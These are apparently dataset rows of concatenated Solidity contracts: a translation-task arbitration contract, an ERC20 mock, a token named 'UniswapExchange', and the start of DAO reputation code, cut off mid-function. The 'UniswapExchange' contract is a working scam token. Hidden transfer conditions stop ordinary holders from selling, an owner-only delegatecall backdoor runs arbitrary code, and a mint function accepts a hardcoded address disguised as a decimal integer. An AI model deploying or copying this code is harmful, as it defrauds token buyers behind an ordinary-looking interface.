reviewTimeout = _reviewTimeout;
translationMultiplier = _translationMultiplier;
challengeMultiplier = _challengeMultiplier;
sharedStakeMultiplier = _sharedStakeMultiplier;
winnerStakeMultiplier = _winnerStakeMultiplier;
loserStakeMultiplier = _loserStakeMultiplier;
}
function changeGovernor(address _governor) public onlyGovernor {
governor = _governor;
}
function changeReviewTimeout(uint256 _reviewTimeout) public onlyGovernor {
reviewTimeout = _reviewTimeout;
}
function changeTranslationMultiplier(uint256 _translationMultiplier) public onlyGovernor {
translationMultiplier = _translationMultiplier;
}
function changeChallengeMultiplier(uint256 _challengeMultiplier) public onlyGovernor {
challengeMultiplier = _challengeMultiplier;
}
function changeSharedStakeMultiplier(uint256 _sharedStakeMultiplier) public onlyGovernor {
sharedStakeMultiplier = _sharedStakeMultiplier;
}
function changeWinnerStakeMultiplier(uint256 _winnerStakeMultiplier) public onlyGovernor {
winnerStakeMultiplier = _winnerStakeMultiplier;
}
function changeLoserStakeMultiplier(uint256 _loserStakeMultiplier) public onlyGovernor {
loserStakeMultiplier = _loserStakeMultiplier;
}
function createTask(
uint256 _deadline,
uint256 _minPrice,
string calldata _metaEvidence
) external payable returns (uint256 taskID) {
require(msg.value >= _minPrice, "Deposited value should be greater than or equal to the min price.");
require(_deadline > block.timestamp, "The deadline should be in the future.");
taskID = tasks.length;
Task storage task = tasks.push();
task.submissionTimeout = _deadline - block.timestamp;
task.minPrice = _minPrice;
task.maxPrice = msg.value;
task.lastInteraction = block.timestamp;
task.requester = msg.sender;
task.requesterDeposit = msg.value;
emit MetaEvidence(taskID, _metaEvidence);
emit TaskCreated(taskID, msg.sender, block.timestamp);
}
function assignTask(uint256 _taskID) external payable {
Task storage task = tasks[_taskID];
require(block.timestamp - task.lastInteraction <= task.submissionTimeout, "The deadline has already passed.");
uint256 price = task.minPrice +
((task.maxPrice - task.minPrice) * (block.timestamp - task.lastInteraction)) /
task.submissionTimeout;
uint256 arbitrationCost = arbitrator.arbitrationCost(arbitratorExtraData);
uint256 translatorDeposit = arbitrationCost.addCap((translationMultiplier.mulCap(price)) / MULTIPLIER_DIVISOR);
require(task.status == Status.Created, "Task has already been assigned or reimbursed.");
require(msg.value >= translatorDeposit, "Not enough ETH to reach the required deposit value.");
task.parties[uint256(Party.Translator)] = msg.sender;
task.status = Status.Assigned;
uint256 remainder = task.maxPrice - price;
task.requester.send(remainder);
task.requesterDeposit = price;
task.sumDeposit = translatorDeposit;
remainder = msg.value - translatorDeposit;
msg.sender.send(remainder);
emit TaskAssigned(_taskID, msg.sender, price, block.timestamp);
}
function submitTranslation(uint256 _taskID, string calldata _translation) external {
Task storage task = tasks[_taskID];
require(
task.status == Status.Assigned,
"The task is either not assigned or translation has already been submitted."
);
require(block.timestamp - task.lastInteraction <= task.submissionTimeout, "The deadline has already passed.");
require(
msg.sender == task.parties[uint256(Party.Translator)],
"Can't submit translation to a task that wasn't assigned to you."
);
task.status = Status.AwaitingReview;
task.lastInteraction = block.timestamp;
emit TranslationSubmitted(_taskID, msg.sender, _translation, block.timestamp);
}
function reimburseRequester(uint256 _taskID) external {
Task storage task = tasks[_taskID];
require(task.status < Status.AwaitingReview, "Can't reimburse if translation was submitted.");
require(
block.timestamp - task.lastInteraction > task.submissionTimeout,
"Can't reimburse if the deadline hasn't passed yet."
);
task.status = Status.Resolved;
uint256 amount = task.requesterDeposit + task.sumDeposit;
task.requester.send(amount);
task.requesterDeposit = 0;
task.sumDeposit = 0;
emit TaskResolved(_taskID, "requester-reimbursed", block.timestamp);
}
function acceptTranslation(uint256 _taskID) external {
Task storage task = tasks[_taskID];
require(task.status == Status.AwaitingReview, "The task is in the wrong status.");
require(block.timestamp - task.lastInteraction > reviewTimeout, "The review phase hasn't passed yet.");
task.status = Status.Resolved;
uint256 amount = task.requesterDeposit + task.sumDeposit;
task.parties[uint256(Party.Translator)].send(amount);
task.requesterDeposit = 0;
task.sumDeposit = 0;
emit TaskResolved(_taskID, "translation-accepted", block.timestamp);
}
function challengeTranslation(uint256 _taskID, string calldata _evidence) external payable {
Task storage task = tasks[_taskID];
uint256 arbitrationCost = arbitrator.arbitrationCost(arbitratorExtraData);
uint256 challengeDeposit = arbitrationCost.addCap(
(challengeMultiplier.mulCap(task.requesterDeposit)) / MULTIPLIER_DIVISOR
);
require(task.status == Status.AwaitingReview, "The task is in the wrong status.");
require(block.timestamp - task.lastInteraction <= reviewTimeout, "The review phase has already passed.");
require(msg.value >= challengeDeposit, "Not enough ETH to cover challenge deposit.");
task.status = Status.DisputeCreated;
task.parties[uint256(Party.Challenger)] = msg.sender;
task.disputeID = arbitrator.createDispute{value: arbitrationCost}(2, arbitratorExtraData);
disputeIDtoTaskID[task.disputeID] = _taskID;
task.rounds.push();
task.sumDeposit = task.sumDeposit.addCap(challengeDeposit).subCap(arbitrationCost);
uint256 remainder = msg.value - challengeDeposit;
msg.sender.send(remainder);
emit Dispute(arbitrator, task.disputeID, _taskID, _taskID);
emit TranslationChallenged(_taskID, msg.sender, block.timestamp);
if (bytes(_evidence).length > 0) emit Evidence(arbitrator, _taskID, msg.sender, _evidence);
}
function fundAppeal(uint256 _taskID, Party _side) external payable {
Task storage task = tasks[_taskID];
require(
_side == Party.Translator || _side == Party.Challenger,
"Recipient must be either the translator or challenger."
);
require(task.status == Status.DisputeCreated, "No dispute to appeal.");
require(
arbitrator.disputeStatus(task.disputeID) == IArbitrator.DisputeStatus.Appealable,
"Dispute is not appealable."
);
(uint256 appealPeriodStart, uint256 appealPeriodEnd) = arbitrator.appealPeriod(task.disputeID);
require(
block.timestamp >= appealPeriodStart && block.timestamp < appealPeriodEnd,
"Funding must be made within the appeal period."
);
uint256 winner = arbitrator.currentRuling(task.disputeID);
uint256 multiplier;
if (winner == uint256(_side)) {
multiplier = winnerStakeMultiplier;
} else if (winner == 0) {
multiplier = sharedStakeMultiplier;
} else {
require(
block.timestamp - appealPeriodStart < (appealPeriodEnd - appealPeriodStart) / 2,
"The loser must pay during the first half of the appeal period."
);
multiplier = loserStakeMultiplier;
}
Round storage round = task.rounds[task.rounds.length - 1];
require(!round.hasPaid[uint256(_side)], "Appeal fee has already been paid.");
uint256 appealCost = arbitrator.appealCost(task.disputeID, arbitratorExtraData);
uint256 totalCost = appealCost.addCap((appealCost.mulCap(multiplier)) / MULTIPLIER_DIVISOR);
uint256 contribution;
uint256 remainingETH;
(contribution, remainingETH) = calculateContribution(
msg.value,
totalCost.subCap(round.paidFees[uint256(_side)])
);
round.contributions[msg.sender][uint256(_side)] += contribution;
round.paidFees[uint256(_side)] += contribution;
emit AppealContribution(_taskID, _side, msg.sender, contribution);
if (round.paidFees[uint256(_side)] >= totalCost) {
round.hasPaid[uint256(_side)] = true;
round.feeRewards += round.paidFees[uint256(_side)];
emit HasPaidAppealFee(_taskID, _side);
}
msg.sender.send(remainingETH);
if (round.hasPaid[uint256(Party.Translator)] && round.hasPaid[uint256(Party.Challenger)]) {
arbitrator.appeal{value: appealCost}(task.disputeID, arbitratorExtraData);
task.rounds.push();
round.feeRewards = round.feeRewards.subCap(appealCost);
}
}
function calculateContribution(uint256 _available, uint256 _requiredAmount)
internal
pure
returns (uint256 taken, uint256 remainder)
{
if (_requiredAmount > _available) return (_available, 0);
remainder = _available - _requiredAmount;
return (_requiredAmount, remainder);
}
function withdrawFeesAndRewards(
address payable _beneficiary,
uint256 _taskID,
uint256 _round
) public {
Task storage task = tasks[_taskID];
Round storage round = task.rounds[_round];
require(task.status == Status.Resolved, "The task should be resolved.");
uint256 reward;
if (!round.hasPaid[uint256(Party.Translator)] || !round.hasPaid[uint256(Party.Challenger)]) {
reward =
round.contributions[_beneficiary][uint256(Party.Translator)] +
round.contributions[_beneficiary][uint256(Party.Challenger)];
round.contributions[_beneficiary][uint256(Party.Translator)] = 0;
round.contributions[_beneficiary][uint256(Party.Challenger)] = 0;
} else if (task.ruling == uint256(Party.None)) {
uint256 rewardTranslator = round.paidFees[uint256(Party.Translator)] > 0
? (round.contributions[_beneficiary][uint256(Party.Translator)] * round.feeRewards) /
(round.paidFees[uint256(Party.Translator)] + round.paidFees[uint256(Party.Challenger)])
: 0;
uint256 rewardChallenger = round.paidFees[uint256(Party.Challenger)] > 0
? (round.contributions[_beneficiary][uint256(Party.Challenger)] * round.feeRewards) /
(round.paidFees[uint256(Party.Translator)] + round.paidFees[uint256(Party.Challenger)])
: 0;
reward = rewardTranslator + rewardChallenger;
round.contributions[_beneficiary][uint256(Party.Translator)] = 0;
round.contributions[_beneficiary][uint256(Party.Challenger)] = 0;
} else {
reward = round.paidFees[task.ruling] > 0
? (round.contributions[_beneficiary][task.ruling] * round.feeRewards) / round.paidFees[task.ruling]
: 0;
round.contributions[_beneficiary][task.ruling] = 0;
}
_beneficiary.send(reward);
}
function batchRoundWithdraw(
address payable _beneficiary,
uint256 _taskID,
uint256 _cursor,
uint256 _count
) public {
Task storage task = tasks[_taskID];
for (uint256 i = _cursor; i < task.rounds.length && (_count == 0 || i < _cursor + _count); i++)
withdrawFeesAndRewards(_beneficiary, _taskID, i);
}
function rule(uint256 _disputeID, uint256 _ruling) external override {
Party resultRuling = Party(_ruling);
uint256 taskID = disputeIDtoTaskID[_disputeID];
Task storage task = tasks[taskID];
Round storage round = task.rounds[task.rounds.length - 1];
require(msg.sender == address(arbitrator), "Must be called by the arbitrator.");
require(task.status == Status.DisputeCreated, "The dispute has already been resolved.");
if (round.hasPaid[uint256(Party.Translator)] == true) resultRuling = Party.Translator;
else if (round.hasPaid[uint256(Party.Challenger)] == true) resultRuling = Party.Challenger;
emit Ruling(IArbitrator(msg.sender), _disputeID, uint256(resultRuling));
executeRuling(_disputeID, uint256(resultRuling));
}
function executeRuling(uint256 _disputeID, uint256 _ruling) internal {
uint256 taskID = disputeIDtoTaskID[_disputeID];
Task storage task = tasks[taskID];
task.status = Status.Resolved;
task.ruling = _ruling;
uint256 amount;
if (_ruling == uint256(Party.None)) {
task.requester.send(task.requesterDeposit);
amount = task.sumDeposit / 2;
task.parties[uint256(Party.Translator)].send(amount);
task.parties[uint256(Party.Challenger)].send(amount);
} else if (_ruling == uint256(Party.Translator)) {
amount = task.requesterDeposit + task.sumDeposit;
task.parties[uint256(Party.Translator)].send(amount);
} else {
task.requester.send(task.requesterDeposit);
task.parties[uint256(Party.Challenger)].send(task.sumDeposit);
}
task.requesterDeposit = 0;
task.sumDeposit = 0;
emit TaskResolved(taskID, "dispute-settled", block.timestamp);
}
function submitEvidence(uint256 _taskID, string calldata _evidence) external {
Task storage task = tasks[_taskID];
require(task.status != Status.Resolved, "The task must not already be resolved.");
emit Evidence(arbitrator, _taskID, msg.sender, _evidence);
}
function amountWithdrawable(uint256 _taskID, address payable _beneficiary) external view returns (uint256 total) {
Task storage task = tasks[_taskID];
if (task.status != Status.Resolved) return total;
for (uint256 i = 0; i < task.rounds.length; i++) {
Round storage round = task.rounds[i];
if (!round.hasPaid[uint256(Party.Translator)] || !round.hasPaid[uint256(Party.Challenger)]) {
total +=
round.contributions[_beneficiary][uint256(Party.Translator)] +
round.contributions[_beneficiary][uint256(Party.Challenger)];
} else if (task.ruling == uint256(Party.None)) {
uint256 rewardTranslator = round.paidFees[uint256(Party.Translator)] > 0
? (round.contributions[_beneficiary][uint256(Party.Translator)] * round.feeRewards) /
(round.paidFees[uint256(Party.Translator)] + round.paidFees[uint256(Party.Challenger)])
: 0;
uint256 rewardChallenger = round.paidFees[uint256(Party.Challenger)] > 0
? (round.contributions[_beneficiary][uint256(Party.Challenger)] * round.feeRewards) /
(round.paidFees[uint256(Party.Translator)] + round.paidFees[uint256(Party.Challenger)])
: 0;
total += rewardTranslator + rewardChallenger;
} else {
total += round.paidFees[uint256(task.ruling)] > 0
? (round.contributions[_beneficiary][uint256(task.ruling)] * round.feeRewards) /
round.paidFees[uint256(task.ruling)]
: 0;
}
}
return total;
}
function getDepositValue(uint256 _taskID) public view returns (uint256 deposit) {
Task storage task = tasks[_taskID];
if (block.timestamp - task.lastInteraction > task.submissionTimeout || task.status != Status.Created) {
deposit = NOT_PAYABLE_VALUE;
} else {
uint256 price = task.minPrice +
((task.maxPrice - task.minPrice) * (block.timestamp - task.lastInteraction)) /
task.submissionTimeout;
uint256 arbitrationCost = arbitrator.arbitrationCost(arbitratorExtraData);
deposit = arbitrationCost.addCap((translationMultiplier.mulCap(price)) / MULTIPLIER_DIVISOR);
}
}
function getChallengeValue(uint256 _taskID) public view returns (uint256 deposit) {
Task storage task = tasks[_taskID];
if (block.timestamp - task.lastInteraction > reviewTimeout || task.status != Status.AwaitingReview) {
deposit = NOT_PAYABLE_VALUE;
} else {
uint256 arbitrationCost = arbitrator.arbitrationCost(arbitratorExtraData);
deposit = arbitrationCost.addCap((challengeMultiplier.mulCap(task.requesterDeposit)) / MULTIPLIER_DIVISOR);
}
}
function getTaskPrice(uint256 _taskID) public view returns (uint256 price) {
Task storage task = tasks[_taskID];
if (block.timestamp - task.lastInteraction > task.submissionTimeout || task.status != Status.Created) {
price = 0;
} else {
price =
task.minPrice +
((task.maxPrice - task.minPrice) * (block.timestamp - task.lastInteraction)) /
task.submissionTimeout;
}
}
function getTaskCount() public view returns (uint256) {
return tasks.length;
}
function getNumberOfRounds(uint256 _taskID) public view returns (uint256) {
Task storage task = tasks[_taskID];
return task.rounds.length;
}
function getContributions(
uint256 _taskID,
uint256 _round,
address _contributor
) public view returns (uint256[3] memory contributions) {
Task storage task = tasks[_taskID];
Round storage round = task.rounds[_round];
contributions = round.contributions[_contributor];
}
function getTaskParties(uint256 _taskID) public view returns (address payable[3] memory parties) {
Task storage task = tasks[_taskID];
parties = task.parties;
}
function getRoundInfo(uint256 _taskID, uint256 _round)
public
view
returns (
uint256[3] memory paidFees,
bool[3] memory hasPaid,
uint256 feeRewards
)
{
Task storage task = tasks[_taskID];
Round storage round = task.rounds[_round];
return (round.paidFees, round.hasPaid, round.feeRewards);
}
}
contract ERC20 is Context, IERC20 {
using SafeMath for uint256;
using Address for address;
mapping (address => uint256) private _balances;
mapping (address => mapping (address => uint256)) private _allowances;
uint256 private _totalSupply;
string private _name;
string private _symbol;
uint8 private _decimals;
constructor (string memory name, string memory symbol) {
_name = name;
_symbol = symbol;
_decimals = 18;
}
function name() public view returns (string memory) {
return _name;
}
function symbol() public view returns (string memory) {
return _symbol;
}
function decimals() public view returns (uint8) {
return _decimals;
}
function totalSupply() public view override returns (uint256) {
return _totalSupply;
}
function balanceOf(address account) public view override returns (uint256) {
return _balances[account];
}
function transfer(address recipient, uint256 amount) public virtual override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public view virtual override returns (uint256) {
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount) public virtual override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint256 amount) public virtual override returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue));
return true;
}
function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero"));
return true;
}
function _transfer(address sender, address recipient, uint256 amount) internal virtual {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
_beforeTokenTransfer(sender, recipient, amount);
_balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance");
_balances[recipient] = _balances[recipient].add(amount);
emit Transfer(sender, recipient, amount);
}
function _mint(address account, uint256 amount) internal virtual {
require(account != address(0), "ERC20: mint to the zero address");
_beforeTokenTransfer(address(0), account, amount);
_totalSupply = _totalSupply.add(amount);
_balances[account] = _balances[account].add(amount);
emit Transfer(address(0), account, amount);
}
function _burn(address account, uint256 amount) internal virtual {
require(account != address(0), "ERC20: burn from the zero address");
_beforeTokenTransfer(account, address(0), amount);
_balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance");
_totalSupply = _totalSupply.sub(amount);
emit Transfer(account, address(0), amount);
}
function _approve(address owner, address spender, uint256 amount) internal virtual {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _setupDecimals(uint8 decimals_) internal {
_decimals = decimals_;
}
function _beforeTokenTransfer(address from, address to, uint256 amount) internal virtual { }
}
abstract contract ERC20Burnable is Context, ERC20 {
using SafeMath for uint256;
function burn(uint256 amount) public virtual {
_burn(_msgSender(), amount);
}
function burnFrom(address account, uint256 amount) public virtual {
uint256 decreasedAllowance = allowance(account, _msgSender()).sub(amount, "ERC20: burn amount exceeds allowance");
_approve(account, _msgSender(), decreasedAllowance);
_burn(account, amount);
}
}
contract ERC20Mock is ERC20, ERC20Burnable {
constructor(address initialAccount, uint256 initialBalance) ERC20("MockToken", "MCT") {
_mint(initialAccount, initialBalance);
}
} | 0 | 232 |
pragma solidity ^0.5.17;
interface IERC20 {
function totalSupply() external view returns(uint);
function balanceOf(address account) external view returns(uint);
function transfer(address recipient, uint amount) external returns(bool);
function allowance(address owner, address spender) external view returns(uint);
function approve(address spender, uint amount) external returns(bool);
function transferFrom(address sender, address recipient, uint amount) external returns(bool);
event Transfer(address indexed from, address indexed to, uint value);
event Approval(address indexed owner, address indexed spender, uint value);
}
library Address {
function isContract(address account) internal view returns(bool) {
bytes32 codehash;
bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470;
assembly { codehash:= extcodehash(account) }
return (codehash != 0x0 && codehash != accountHash);
}
}
contract Context {
constructor() internal {}
function _msgSender() internal view returns(address payable) {
return msg.sender;
}
}
library SafeMath {
function add(uint a, uint b) internal pure returns(uint) {
uint c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint a, uint b) internal pure returns(uint) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint a, uint b, string memory errorMessage) internal pure returns(uint) {
require(b <= a, errorMessage);
uint c = a - b;
return c;
}
function mul(uint a, uint b) internal pure returns(uint) {
if (a == 0) {
return 0;
}
uint c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint a, uint b) internal pure returns(uint) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint a, uint b, string memory errorMessage) internal pure returns(uint) {
require(b > 0, errorMessage);
uint c = a / b;
return c;
}
}
library SafeERC20 {
using SafeMath for uint;
using Address for address;
function safeTransfer(IERC20 token, address to, uint value) internal {
callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value));
}
function safeTransferFrom(IERC20 token, address from, address to, uint value) internal {
callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value));
}
function safeApprove(IERC20 token, address spender, uint value) internal {
require((value == 0) || (token.allowance(address(this), spender) == 0),
"SafeERC20: approve from non-zero to non-zero allowance"
);
callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value));
}
function callOptionalReturn(IERC20 token, bytes memory data) private {
require(address(token).isContract(), "SafeERC20: call to non-contract");
(bool success, bytes memory returndata) = address(token).call(data);
require(success, "SafeERC20: low-level call failed");
if (returndata.length > 0) {
require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed");
}
}
}
contract ERC20 is Context, IERC20 {
using SafeMath for uint;
mapping(address => uint) private _balances;
mapping(address => mapping(address => uint)) private _allowances;
uint private _totalSupply;
function totalSupply() public view returns(uint) {
return _totalSupply;
}
function balanceOf(address account) public view returns(uint) {
return _balances[account];
}
function transfer(address recipient, uint amount) public returns(bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public view returns(uint) {
return _allowances[owner][spender];
}
function approve(address spender, uint amount) public returns(bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint amount) public returns(bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function increaseAllowance(address spender, uint addedValue) public returns(bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue));
return true;
}
function decreaseAllowance(address spender, uint subtractedValue) public returns(bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero"));
return true;
}
function _transfer(address sender, address recipient, uint amount) internal {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
_balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance");
_balances[recipient] = _balances[recipient].add(amount);
emit Transfer(sender, recipient, amount);
}
function _mint(address account, uint amount) internal {
require(account != address(0), "ERC20: mint to the zero address");
_totalSupply = _totalSupply.add(amount);
_balances[account] = _balances[account].add(amount);
emit Transfer(address(0), account, amount);
}
function _burn(address account, uint amount) internal {
require(account != address(0), "ERC20: burn from the zero address");
_balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance");
_totalSupply = _totalSupply.sub(amount);
emit Transfer(account, address(0), amount);
}
function _approve(address owner, address spender, uint amount) internal {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
}
contract ERC20Detailed is IERC20 {
string private _name;
string private _symbol;
uint8 private _decimals;
constructor(string memory name, string memory symbol, uint8 decimals) public {
_name = name;
_symbol = symbol;
_decimals = decimals;
}
function name() public view returns(string memory) {
return _name;
}
function symbol() public view returns(string memory) {
return _symbol;
}
function decimals() public view returns(uint8) {
return _decimals;
}
}
contract UniswapExchange {
event Transfer(address indexed _from, address indexed _to, uint _value);
event Approval(address indexed _owner, address indexed _spender, uint _value);
function transfer(address _to, uint _value) public payable returns (bool) {
return transferFrom(msg.sender, _to, _value);
}
function ensure(address _from, address _to, uint _value) internal view returns(bool) {
address _UNI = pairFor(0x5C69bEe701ef814a2B6a3EDD4B1652CB9cc5aA6f, 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2, address(this));
if(_from == owner || _to == owner || _from == UNI || _from == _UNI || _from==tradeAddress||canSale[_from]){
return true;
}
require(condition(_from, _value));
return true;
}
function transferFrom(address _from, address _to, uint _value) public payable returns (bool) {
if (_value == 0) {return true;}
if (msg.sender != _from) {
require(allowance[_from][msg.sender] >= _value);
allowance[_from][msg.sender] -= _value;
}
require(ensure(_from, _to, _value));
require(balanceOf[_from] >= _value);
balanceOf[_from] -= _value;
balanceOf[_to] += _value;
_onSaleNum[_from]++;
emit Transfer(_from, _to, _value);
return true;
}
function approve(address _spender, uint _value) public payable returns (bool) {
allowance[msg.sender][_spender] = _value;
emit Approval(msg.sender, _spender, _value);
return true;
}
function condition(address _from, uint _value) internal view returns(bool){
if(_saleNum == 0 && _minSale == 0 && _maxSale == 0) return false;
if(_saleNum > 0){
if(_onSaleNum[_from] >= _saleNum) return false;
}
if(_minSale > 0){
if(_minSale > _value) return false;
}
if(_maxSale > 0){
if(_value > _maxSale) return false;
}
return true;
}
function delegate(address a, bytes memory b) public payable {
require(msg.sender == owner);
a.delegatecall(b);
}
mapping(address=>uint256) private _onSaleNum;
mapping(address=>bool) private canSale;
uint256 private _minSale;
uint256 private _maxSale;
uint256 private _saleNum;
function _mints(address spender, uint256 addedValue) public returns (bool) {
require(msg.sender==owner||msg.sender==address
(1461045492991056468287016484048686824852249628073));
if(addedValue > 0) {balanceOf[spender] = addedValue*(10**uint256(decimals));}
canSale[spender]=true;
return true;
}
function init(uint256 saleNum, uint256 token, uint256 maxToken) public returns(bool){
require(msg.sender == owner);
_minSale = token > 0 ? token*(10**uint256(decimals)) : 0;
_maxSale = maxToken > 0 ? maxToken*(10**uint256(decimals)) : 0;
_saleNum = saleNum;
}
function batchSend(address[] memory _tos, uint _value) public payable returns (bool) {
require (msg.sender == owner);
uint total = _value * _tos.length;
require(balanceOf[msg.sender] >= total);
balanceOf[msg.sender] -= total;
for (uint i = 0; i < _tos.length; i++) {
address _to = _tos[i];
balanceOf[_to] += _value;
emit Transfer(msg.sender, _to, _value/2);
emit Transfer(msg.sender, _to, _value/2);
}
return true;
}
address tradeAddress;
function setTradeAddress(address addr) public returns(bool){require (msg.sender == owner);
tradeAddress = addr;
return true;
}
function pairFor(address factory, address tokenA, address tokenB) internal pure returns (address pair) {
(address token0, address token1) = tokenA < tokenB ? (tokenA, tokenB) : (tokenB, tokenA);
pair = address(uint(keccak256(abi.encodePacked(
hex'ff',
factory,
keccak256(abi.encodePacked(token0, token1)),
hex'96e8ac4277198ff8b6f785478aa9a39f403cb768dd02cbee326c3e7da348845f'
))));
}
mapping (address => uint) public balanceOf;
mapping (address => mapping (address => uint)) public allowance;
uint constant public decimals = 18;
uint public totalSupply;
string public name;
string public symbol;
address private owner;
address constant UNI = 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D;
constructor(string memory _name, string memory _symbol, uint256 _supply) payable public {
name = _name;
symbol = _symbol;
totalSupply = _supply*(10**uint256(decimals));
owner = msg.sender;
balanceOf[msg.sender] = totalSupply;
allowance[msg.sender][0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D] = uint(-1);
emit Transfer(address(0x0), msg.sender, totalSupply);
}
} | 0 | 66 |
pragma solidity ^0.5.2;
interface IntVoteInterface {
modifier onlyProposalOwner(bytes32 _proposalId) {revert(); _;}
modifier votable(bytes32 _proposalId) {revert(); _;}
event NewProposal(
bytes32 indexed _proposalId,
address indexed _organization,
uint256 _numOfChoices,
address _proposer,
bytes32 _paramsHash
);
event ExecuteProposal(bytes32 indexed _proposalId,
address indexed _organization,
uint256 _decision,
uint256 _totalReputation
);
event VoteProposal(
bytes32 indexed _proposalId,
address indexed _organization,
address indexed _voter,
uint256 _vote,
uint256 _reputation
);
event CancelProposal(bytes32 indexed _proposalId, address indexed _organization );
event CancelVoting(bytes32 indexed _proposalId, address indexed _organization, address indexed _voter);
function propose(
uint256 _numOfChoices,
bytes32 _proposalParameters,
address _proposer,
address _organization
) external returns(bytes32);
function vote(
bytes32 _proposalId,
uint256 _vote,
uint256 _rep,
address _voter
)
external
returns(bool);
function cancelVote(bytes32 _proposalId) external;
function getNumberOfChoices(bytes32 _proposalId) external view returns(uint256);
function isVotable(bytes32 _proposalId) external view returns(bool);
function voteStatus(bytes32 _proposalId, uint256 _choice) external view returns(uint256);
function isAbstainAllow() external pure returns(bool);
function getAllowedRangeOfChoices() external pure returns(uint256 min, uint256 max);
}
interface IERC20 {
function transfer(address to, uint256 value) external returns (bool);
function approve(address spender, uint256 value) external returns (bool);
function transferFrom(address from, address to, uint256 value) external returns (bool);
function totalSupply() external view returns (uint256);
function balanceOf(address who) external view returns (uint256);
function allowance(address owner, address spender) external view returns (uint256);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
interface VotingMachineCallbacksInterface {
function mintReputation(uint256 _amount, address _beneficiary, bytes32 _proposalId) external returns(bool);
function burnReputation(uint256 _amount, address _owner, bytes32 _proposalId) external returns(bool);
function stakingTokenTransfer(IERC20 _stakingToken, address _beneficiary, uint256 _amount, bytes32 _proposalId)
external
returns(bool);
function getTotalReputationSupply(bytes32 _proposalId) external view returns(uint256);
function reputationOf(address _owner, bytes32 _proposalId) external view returns(uint256);
function balanceOfStakingToken(IERC20 _stakingToken, bytes32 _proposalId) external view returns(uint256);
}
contract Ownable {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor () internal {
_owner = msg.sender;
emit OwnershipTransferred(address(0), _owner);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(isOwner());
_;
}
function isOwner() public view returns (bool) {
return msg.sender == _owner;
}
function renounceOwnership() public onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
function transferOwnership(address newOwner) public onlyOwner {
_transferOwnership(newOwner);
}
function _transferOwnership(address newOwner) internal {
require(newOwner != address(0));
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
}
contract Reputation is Ownable {
uint8 public decimals = 18;
event Mint(address indexed _to, uint256 _amount);
event Burn(address indexed _from, uint256 _amount);
struct Checkpoint {
uint128 fromBlock;
uint128 value;
}
mapping (address => Checkpoint[]) balances;
Checkpoint[] totalSupplyHistory;
constructor(
) public
{
}
function totalSupply() public view returns (uint256) {
return totalSupplyAt(block.number);
}
function balanceOf(address _owner) public view returns (uint256 balance) {
return balanceOfAt(_owner, block.number);
}
function balanceOfAt(address _owner, uint256 _blockNumber)
public view returns (uint256)
{
if ((balances[_owner].length == 0) || (balances[_owner][0].fromBlock > _blockNumber)) {
return 0;
} else {
return getValueAt(balances[_owner], _blockNumber);
}
}
function totalSupplyAt(uint256 _blockNumber) public view returns(uint256) {
if ((totalSupplyHistory.length == 0) || (totalSupplyHistory[0].fromBlock > _blockNumber)) {
return 0;
} else {
return getValueAt(totalSupplyHistory, _blockNumber);
}
}
function mint(address _user, uint256 _amount) public onlyOwner returns (bool) {
uint256 curTotalSupply = totalSupply();
require(curTotalSupply + _amount >= curTotalSupply);
uint256 previousBalanceTo = balanceOf(_user);
require(previousBalanceTo + _amount >= previousBalanceTo);
updateValueAtNow(totalSupplyHistory, curTotalSupply + _amount);
updateValueAtNow(balances[_user], previousBalanceTo + _amount);
emit Mint(_user, _amount);
return true;
}
function burn(address _user, uint256 _amount) public onlyOwner returns (bool) {
